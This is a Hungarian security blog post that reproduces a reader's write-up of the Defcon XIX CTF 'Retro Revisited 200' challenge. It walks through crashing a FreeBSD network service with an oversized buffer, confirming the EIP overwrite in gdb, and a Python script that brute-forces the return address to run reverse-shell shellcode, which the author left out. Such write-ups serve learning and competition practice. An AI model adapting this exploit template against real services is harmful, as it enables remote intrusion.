Tweets by @buherablog
profile for buherator at IT Security Stack Exchange, Q&A for IT security professionals

A BitBetyár Blog

Túljártál a nagyokosok eszén? Küldd be a mutatványodat! (e-mail a buherator gmailkomra jöhet)

Full-Disclosure / Névjegy / Coming out


Promó

H.A.C.K.

Címkék

0day (110) adobe (87) adobe reader (21) anonymous (26) apple (60) az olvasó ír (49) blackhat (20) botnet (22) bug (200) buherablog (44) buhera sörözés (39) bukta (49) deface (38) dns (22) dos (29) esemény (82) facebook (26) firefox (64) flash (33) gondolat (31) google (59) google chrome (36) hacktivity (37) hírek (117) incidens (224) internet explorer (88) iphone (35) java (50) jog (22) kína (21) kriptográfia (68) kultúra (21) linux (24) malware (43) microsoft (142) móka (48) mozilla (23) office (26) oracle (40) os x (43) patch (197) php (20) politika (31) privacy (58) programozás (22) safari (34) sql injection (62) windows (85) xss (77) Címkefelhő

Licensz

Creative Commons Licenc

Defcon XIX CTF - Retro Revisited 200

2011.06.21. 15:17 | buherator | Szólj hozzá!

Szerencsére a Defcon selejtezőn nem csak Földtől teljesen elrugaszkodott feladatok szerepeltek. Depth a Retro Revisited feladatoknak ment neki, és miután a 100-as pályán szereplő "____-___-______" rejtélyes kérdésre ördögi logikával megadta a helyes választ (hack-the-planet), lezúzta a 200-as és a 300-as szinteket is. Alant a 200 pontot érő pálya megoldása olvasható:

+++

A feladvány letöltése után, megvizsgáltam a kapott fájlt:

root@BackTrack4:~/defcon# file rr200_a6ba4f074d34ae81def3168c6b
rr200_a6ba4f074d34ae81def3168c6b: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked (uses shared libs), stripped
Első problémával sikerült szembesülni nem volt kéznél FreeBSD operációs rendszer. Szerencsére a www.thoughtpolice.co.uk oldalon remek előre elkészített VMware imagek állnak rendelkezésre. 
A letöltés, konfigurálás valamint a szükséges eszközök beszerzése után vizsgáltam meg közelebbről a binárist. Elindítása után a 9999/TCP porton lehetett hozzá csatlakozni.
# netstat -an | grep LISTEN
tcp4       0      0  *.9999                 *.*                    LISTEN
tcp4       0      0  127.0.0.1.25           *.*                    LISTEN
tcp4       0      0  *.22                   *.*                    LISTEN
tcp6       0      0  *.22                   *.*                    LISTEN
Kapcsolatkezdeményezés után az alábbi támadási megoldással próbálkoztam: 
root@BackTrack4:~/defcon# perl -e 'print "A"x512' | nc -vv 192.168.1.113 9999
192.168.1.113: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) [192.168.1.113] 9999 (?) open
Hans Brix? Oh no! Oh, herro. Great to see you again, Hans! Hans Brix says: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
 sent 512, rcvd 334
 
A bináris futottt tovább, semmilyen memória felülírás nem történt (látszólag). Jobban megvizsgálva a kódot (objdump) látható,hogy gyermek folyamatban történik a kliensek kiszolgálása.
Mivel a debuggerben a set follow-fork-mode child megoldás valami csoda miatt nem akart műküdni így a következő megoldást választottam:
 
#!/usr/bin/python
 
import socket
import time
import struct
import string
 
padding = "A" * 512
 
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.1.113',9999)) # hardcoded IP address
data = s.recv(1024)
print str(data)
time.sleep(10)
s.send(padding) # send the data
s.close()
A fenti python script segítségével tudtam adatot küldeni valamit elég időt allokálni magamnak arra, hogy a gyermek folyamathoz gdb segítségével tudjak csatlakozni. A gyorsaság és praktikusság miatt egy ronda shell scriptet készítettem az automatizáláshoz:
# set PID=`ps a | grep rr200 | grep -v grep | tail -1 | awk '{print $1}'` ; gdb -q rr200_a6ba4f074d34ae81def3168c6b --pid=$PID
(no debugging symbols found)...Attaching to program: /root/rr200_a6ba4f074d34ae81def3168c6b, process 1024
Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /usr/libexec/ld-elf.so.1...(no debugging symbols found)...done.
Loaded symbols for /usr/libexec/ld-elf.so.1
0x281024e5 in recvfrom () from /lib/libc.so.6
(gdb) c
Continuing.
 
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
Remek. Szóval ha minden jól megy vanilla stack overflow problémát kell kihasználni. Ellenőrizzük a rendelkezésre álló helyet, valamint merre is helyezkedünk el a memóriában:
(gdb) x/64x $esp-400
0xbfbfeaf0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfbfeb00: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfbfeb10: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfbfeb20: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfbfeb30: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfbfeb40: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfbfeb50: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfbfeb60: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfbfeb70: 0x736e6148 0x69724220 0x61732078 0x203a7379
0xbfbfeb80: 0x41414122 0x41414141 0x41414141 0x41414141
0xbfbfeb90: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfbfeba0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfbfebb0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfbfebc0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfbfebd0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfbfebe0: 0x41414141 0x41414141 0x41414141 0x41414141
A metasploit pattern_create és pattern_offset ruby scriptjei segítségével meg lehet határozni mekkora a pontos eltolás amivel felül tudjuk írni az EIP-et a kívánt értékkel (out of scope goto offsec 101 ;) ).
 
Mivel a távoli gép stackjét nem tudjuk pontosan így érdemes egy bruteforce megoldással kitalálni a megfelelő visszatérési címet:
#!/usr/bin/python
 
import socket
import time
import struct
import string
 
shell = (
# kiszedtem mert nem public IP cím volt a shellcodeban :)
)
 
padding = "\x90" * 8 
for i in range(1,255,4):
eip = struct.pack('<L',0xbfbfea60+i)
tmp = "\x90" * (251 - len(padding) - len(shell))
buffer = padding + shell + tmp + eip + "C" * 512
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.1.113',9999)) # hardcoded IP address
data = s.recv(1024)
s.send(buffer) # send the data
data = s.recv(1024)
print data
s.close()
 
A támadó gépen egy netcat listenert nyitva - valamint reverse payloaddal - 10mp-en belül shellt kell kapjunk(és 200pontot).

Címkék: esemény verseny defcon ctf az olvasó ír

Kommentek:

A hozzászólások a vonatkozó jogszabályok  értelmében felhasználói tartalomnak minősülnek, értük a szolgáltatás technikai  üzemeltetője semmilyen felelősséget nem vállal, azokat nem ellenőrzi. Kifogás esetén forduljon a blog szerkesztőjéhez. Részletek a  Felhasználási feltételekben és az adatvédelmi tájékoztatóban.

Nincsenek hozzászólások.